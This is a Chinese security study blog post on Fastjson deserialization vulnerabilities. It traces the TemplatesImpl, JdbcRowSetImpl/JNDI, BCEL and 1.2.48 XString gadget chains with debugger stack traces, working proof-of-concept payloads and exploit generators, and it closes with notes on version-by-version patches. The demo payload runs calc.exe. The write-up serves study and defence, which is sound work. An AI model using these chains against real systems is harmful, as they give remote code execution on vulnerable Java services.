Fastjson漏洞学习
2025-01-08 22:04:29

Fastjson漏洞学习

字节码加载和TemplatesImpl利用链

Java字节码加载过程

img

  • ClassLoader#loadClass:从已加载的类缓存、父加载器等位置寻找类,若没有找到,则执行findClass
  • ClassLoader#findClass:根据基础URL指定的方式来加载类字节码,可能来自于本地或者远程的文件
  • ClassLodaer#defineClass:处理字节码,然后恢复成真正的类

TemplatesImpl利用链

  • 包:
1
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • 链子
1
2
3
4
5
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()

打个断点看下代码,首先调用getOutputProperties,在这个函数中进行了封装,我们需要调用newTransformer

image-20250102232833296

声明TransformerImpl,这里的几个参数都是fastjson payload中声明的null

image-20250102233607799

跟进,判断_name_class参数,我们注意到后者为null,然后就实行类加载操作了,获取到类后创建实例

image-20250102233822495

声明对应的TransletClassLoader实例,然后根据指定的_bytecode加载,其中_class为存储类的数组

image-20250102234412045

Fastjson使用

序列化

一个实现toString、getter、setter的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class User {
private String name;
private int id;

public User(){
System.out.println(" 无参");
}

public User(String name, int id){
System.out.println(" 有参");
this.name = name;
this.id = id;
}

@Override
public String toString(){
return "User{" +
"name='" + name + '\'' +
", id=" + id +
'}';
}

// getter和setter
public String getName(){
System.out.println(" getName");
return this.name;
}

public int getId(){
System.out.println(" getId");
return this.id;
}

public void setId(int id) {
System.out.println(" setId");
this.id = id;
}

public void setName(String name) {
System.out.println(" setName");
this.name = name;
}
}

我们来用Fastjson的来对类进行解析

SerializerFeature.WriteClassName会让输出时打印出@type类名

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class UsageDemo {

public static void main(String[] args){
User user = new User("1cfh", 1);
String jsonStr = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(jsonStr);
}
}

image-20250103103551565

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
String json1 = "{\"@type\":\"org.example.User\",\"id\":1,\"name\":\"1cfh\"}";
String json2 = "{\"id\":1,\"name\":\"1cfh\"}";
System.out.println("调用JSON.parseObject(json1):");
System.out.println(" "+JSON.parseObject(json1));
System.out.println("\n调用JSON.parseObject(json1,User.class):");
System.out.println(" "+JSON.parseObject(json1,User.class));
System.out.println("\n调用JSON.parse(json1):");
System.out.println(" "+JSON.parse(json1));

System.out.println("\n调用JSON.parseObject(json2):");
System.out.println(" "+JSON.parseObject(json2));
System.out.println("\n调用JSON.parseObject(json2,User.class):");
System.out.println(" "+JSON.parseObject(json2,User.class));
System.out.println("\n调用JSON.parse(json2):");
System.out.println(" "+JSON.parse(json2));

image-20250103152633992

结论

  • 指定@type时会涉及类对象的创建

  • 指定class时也会涉及类对象的创建

  • 使用parseObject且不指定class时会走toJSON分支,从而调用getter,最终调用Fastjson的JSON类的toString函数,且打印结果是json格式

  • 指定@type时,使用parseObject时指定class和直接使用parse时的返回结果是一个对象,然后打印对象时的格式为

    1
    ClassName{filedValue}

JSON.parseObject(json1)

经过调试不难发现,无参构造函数于此处调用

image-20250103112449266

1
2
3
4
5
6
7
8
9
10
11
12
newInstance:395, Constructor (java.lang.reflect)
createInstance:108, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:570, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:12, UsageDemo (org.example)
  • setter调用:

image-20250103153307106

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
setId:67, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:12, UsageDemo (org.example)
  • getter调用:(要转成JSON String所有要调一下getter)

首先在toJSON中判断javaObject的类型

然后通过getFieldValuesMap来获取字段值

image-20250103142639950

调用getter

image-20250103143022525

image-20250103143100394

1
2
3
4
5
6
7
8
9
10
11
12
getId:62, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:12, UsageDemo (org.example)

JSON.parseObject(json1,User.class)

无参构造函数的堆栈

1
2
3
4
5
6
7
8
9
createInstance:90, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:570, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:243, JSON (com.alibaba.fastjson)
parseObject:456, JSON (com.alibaba.fastjson)
main:14, UsageDemo (org.example)

而在指定Class后,相当于直接打印对象了,运行结果和下述代码运行结果一致

1
2
User user = new User("1cfh", 1);
System.out.println(user);

JSON.parse(json1)

注意在parseObject中,会检查key值,如果有@type则会进入如下分支,通过词法分析获取@type的值然后loadClass

然后到deserialize中调用对应的createInstance

image-20250103151822537

Fastjson <= 1.2.24

TemplatesImpl链 RCE (不出网)

evil.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example.TemplatesImplDemo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {

public Evil() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) throws Exception{
Evil evil = new Evil();
}

}

base64编码一下字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example.TemplatesImplDemo;


import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.util.Base64;

// 处理字节码
public class EvilHandler {

public static void main(String[] args){

// 恶意字节码文件地址
String filePath = "E:\\Java_Sec\\FastjsonDemo\\target\\classes\\org\\example\\TemplatesImplDemo\\Evil.class";
try{
byte[] buffer = null;
FileInputStream fileInputStream = new FileInputStream(filePath);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] temp = new byte[1024];
int n;
// 以byte形式读取文件内容到temp,然后写入到byteArrayOutputStream中
while((n = fileInputStream.read(temp))!=-1){
byteArrayOutputStream.write(temp, 0, n);
}
fileInputStream.close();
byteArrayOutputStream.close();
buffer = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
} catch (IOException e) {
throw new RuntimeException(e);
}


}


}

poc

1
2
3
4
5
6
7
8
9
10
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQAMgoABwAkCgAlACYIACcKACUAKAcAKQoABQAkBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMb3JnL2V4YW1wbGUvVGVtcGxhdGVzSW1wbERlbW8vRXZpbDsBAApFeGNlcHRpb25zBwArAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABGV2aWwBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAIAAkHAC0MAC4ALwEACGNhbGMuZXhlDAAwADEBACJvcmcvZXhhbXBsZS9UZW1wbGF0ZXNJbXBsRGVtby9FdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAA8AAAAEAAEAFwABABEAGAACAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAFwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABkAGgACAAAAAQAbABwAAwAPAAAABAABABcACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGgAIABsADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAEAABACIAAAACACM="],
'_name': 'c.c',
'_tfactory': {},
"_outputProperties": {},
"_name": "a",
"_version": "1.0",
"allowedProtocols": "all"
}

POC.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example.TemplatesImplDemo;

import com.alibaba.fastjson.JSON;

import java.io.*;
import java.util.Arrays;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class poc {

public static void main(String[] args) throws Exception{
String pocFile = "E:\\Java_Sec\\FastjsonDemo\\src\\main\\java\\org\\example\\TemplatesImplDemo\\poc";
BufferedReader reader = new BufferedReader(new FileReader(pocFile));
StringBuilder payload = new StringBuilder();
String temp;
while ((temp = reader.readLine()) != null){
payload.append(temp);
}
System.out.println(payload);
JSON.parseObject(payload.toString(), Feature.SupportNonPublicField);
}

}
  • 关于setter

具体的图就不放了,这里是在set bytecode的调用堆栈,因为其声明为private且没有setter,得设置Feature.SupportNonPublicField参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
set:85, UnsafeObjectFieldAccessorImpl (sun.reflect)
set:758, Field (java.lang.reflect)
setValue:131, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:22, poc (org.example.fastjson1_2_24.TemplatesImplDemo)
  • 关于base64编码_bytecode

经过调试,fastjson在此处会进行base64解码获取字节

image-20250103213354164

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bytesValue:112, JSONScanner (com.alibaba.fastjson.parser)
deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer)
parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer)
parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:22, poc (org.example.TemplatesImplDemo)

JdbcRowSetImpl类+JNDI注入(出网)

evil.class如上,然后起一个ldap服务,利用JdbcRowSetImpl的getter来RCE

JNDI那套了。。

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example.JdbcRowSetImplDemo;

import com.alibaba.fastjson.JSON;

public class poc {


public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:1389/Basic/FromFile/Evil.class\", \"autoCommit\":\"false\"}";
JSON.parse(payload);
}

}

Bcel+动态类加载(不出网)

本质上是利用BasicDataSource拼接Bcel链子,因为BasicDataSource的getConnection中会进行loadClass

而getter正是利用fastjson中需要的,调试过程如下

在getConnection中跟进createDataSource

image-20250104131733344

创建连接工厂对象

image-20250104131844097

this.driverClassNamethis.driverClassLoader进行动态类加载

image-20250104131929631

调用堆栈

1
2
3
4
5
6
7
8
loadClass:135, ClassLoader (com.sun.org.apache.bcel.internal.util)
loadClass:357, ClassLoader (java.lang)
forName0:-1, Class (java.lang)
forName:340, Class (java.lang)
createConnectionFactory:480, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
createDataSource:599, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
getConnection:809, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
main:50, poc (org.example.fastjson1_2_24.bcel)

整体的Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example.fastjson1_2_24.bcel;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileReader;
import java.util.Arrays;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;


public class poc {

public static void main(String[] args) throws Exception{
String evilFile = "E:\\Java_Sec\\FastjsonDemo\\src\\main\\java\\org\\example\\fastjson1_2_24\\bcel\\Evil.class";
byte[] buffer;
FileInputStream fileInputStream = new FileInputStream(evilFile);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] temp = new byte[4096];
int n;
while((n = fileInputStream.read(temp))!=-1){
byteArrayOutputStream.write(temp, 0, n);
}
fileInputStream.close();
byteArrayOutputStream.close();
buffer = byteArrayOutputStream.toByteArray();
// System.out.println(Arrays.toString(buffer));

String code = Utility.encode(buffer, true);


ClassLoader classLoader = new ClassLoader();

// 原来payload
// classLoader.loadClass("$$BCEL$$"+code).newInstance();
String s = "{\"" +
"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
"\"DriverClassName\":\"$$BCEL$$" + code + "\"," +
"\"DriverClassLoader\":" +
"{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}" +
"}";
// System.out.println(s);

// 为了凑到Fastjson上, 需要找一条能拼凑loadClass的链子
// BasicDataSource basicDataSource = new BasicDataSource();
// basicDataSource.setDriverClassLoader(classLoader);
// basicDataSource.setDriverClassName("$$BCEL$$"+code);
// basicDataSource.getConnection();

//JSON.parseObject(s);
JSON.parseObject(s, Feature.SupportNonPublicField);

}


}

BasicDataSource中有专门的setter,所以不需要设置Feature.SupportNonPublicField

Fastjson 1.2.48 toString

反序列化fastjson toString打getter,依旧可以拼TemplatesImpl那条链

1
2
3
4
5
6
7
8
9
10
/*
链子: xString触发fastjson的toString打getter
readObject
--> hashmap.putVal
--> HotSwappableTargetSource.equals
--> XString.equals
--> JSON.toString
..
--> TemplatesImpl.getOutputProperties
*/

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package org.example.fastjson_1_2_48;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.io.*;

public class xStringExp {

/*
链子: xString触发fastjson的toString打getter
readObject
--> hashmap.putVal
--> HotSwappableTargetSource.equals
--> XString.equals
--> JSON.toString
..
--> TemplatesImpl.getOutputProperties
*/


public static Field getField(final Class<?> clazz, final String fieldName){
Field field = null;
try{
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException e) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception{
final Field field = getField(obj.getClass(),fieldName);
field.set(obj, value);
}


public static void main(String[] args) throws Exception{

byte[] evilBytecodes = Files.readAllBytes(Paths.get("E:\\Java_Sec\\FastjsonDemo\\src\\main\\java\\org\\example\\fastjson_1_2_48\\Evil.class"));

// sink
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecodes});
setFieldValue(templates,"_name","Evil");
setFieldValue(templates,"_class",null);

JSONObject jsonObject = new JSONObject();
jsonObject.put("hack", templates);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s,"size", 2);
//
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

// 获得hashmap的数组
Object object = Array.newInstance(nodeC,2);

HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("1cfh"));

Array.set(object,0,nodeCons.newInstance(0,h1,h1,null));
Array.set(object,1,nodeCons.newInstance(0,h2,h2,null));

setFieldValue(s,"table",object);

try{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(s);
// 先base64编码再URL编码
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}


}
}
1
2
3
4
5
6
7
8
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

其中此部分对应于

image-20250108215633685

调试过程:

在给定一个readObject后,经过一系列流准备与反射调用后,来到Hashmap的readObject

然后就是恢复映射关系,需要调用putVal

image-20250108211023908

在poc中,我们设置

1
2
3
4
5
hashmap s:
"table" -> hashmap Array{
index 0: Node HotSwappableTargetSource h1-> Node HotSwappableTargetSource h1
index 1: Node HotSwappableTargetSource h2-> Node HotSwappableTargetSource h2
}

需要检验一次hash是否碰撞,因此借一步调用了HotSwappableTargetSource.equals

image-20250108214752818

注意HotSwappableTargetSource.equals调用了target的比较,即它封装的对象的比较

image-20250108215950748

于是在XString中调用了equals,所以进一步导致了JSONObject的toString的调用

后续就调用了getter

image-20250108220207072

TemplatesImpl的getter

image-20250108220333988

Fastjson高版本

先放着有空再回头看看,参考:

https://xz.aliyun.com/t/14872?time__1311=GqA2Y50K4IxBqDwqeqBKKAIqU4mODEo%3DoD#toc-0

https://xz.aliyun.com/t/12728?time__1311=GqGxu7G%3DiQdmqGN4CxU2Df2h5KGQq7ezW4D#toc-0

  1. 1.2.24版本

    • 没有任何过滤器,可以使用任何类进行反序列化攻击。
    • 典型攻击类:TemplatesImplJdbcRowSetImpl
  2. 1.2.25版本

    • 引入checkAutoType机制,加入黑名单和白名单。
    • AutoType机制开启
      • 先检查白名单,白名单中的类直接加载。
      • 若不在白名单,继续检查黑名单,若不在黑名单,正常加载。
    • AutoType机制关闭
      • 先检查黑名单,若类在黑名单中则抛出异常。
      • 再检查白名单,若不在白名单则抛出异常。
  3. 1.2.42版本

    • 加入对L;的检测,发现L;则去除。
    • 黑名单和白名单类名隐去,使用hash比对。
  4. 1.2.43版本

    • 加入对LL;;的检测,发现LL;;则去除。
    • 通过引入对[字符的检测进行进一步防护。
  5. 1.2.45版本

    • 黑名单机制问题:黑名单无法穷尽所有恶意类。
  6. 1.2.47版本

    • 开启AutoType且版本在33到47之间
      • 若类不在白名单,则继续检查黑名单。
      • 若类不在黑名单且不在mappings中,则正常加载。
      • 关键问题在于如何往mappings中添加恶意类。
    • 未开启AutoType且版本在24到32之间,也存在漏洞。
  7. 1.2.68版本

    • 引入

      1
      expectedClass

      机制,增加了防护,但仍存在逻辑漏洞:

      • 特别是针对Throwable类的防护不足。
  8. 1.2.80版本

    异常类漏洞防护

    • 针对Throwable类及其子类的漏洞防护不足进行了增强,防止利用这些类进行攻击。
Prev
2025-01-08 22:04:29
Next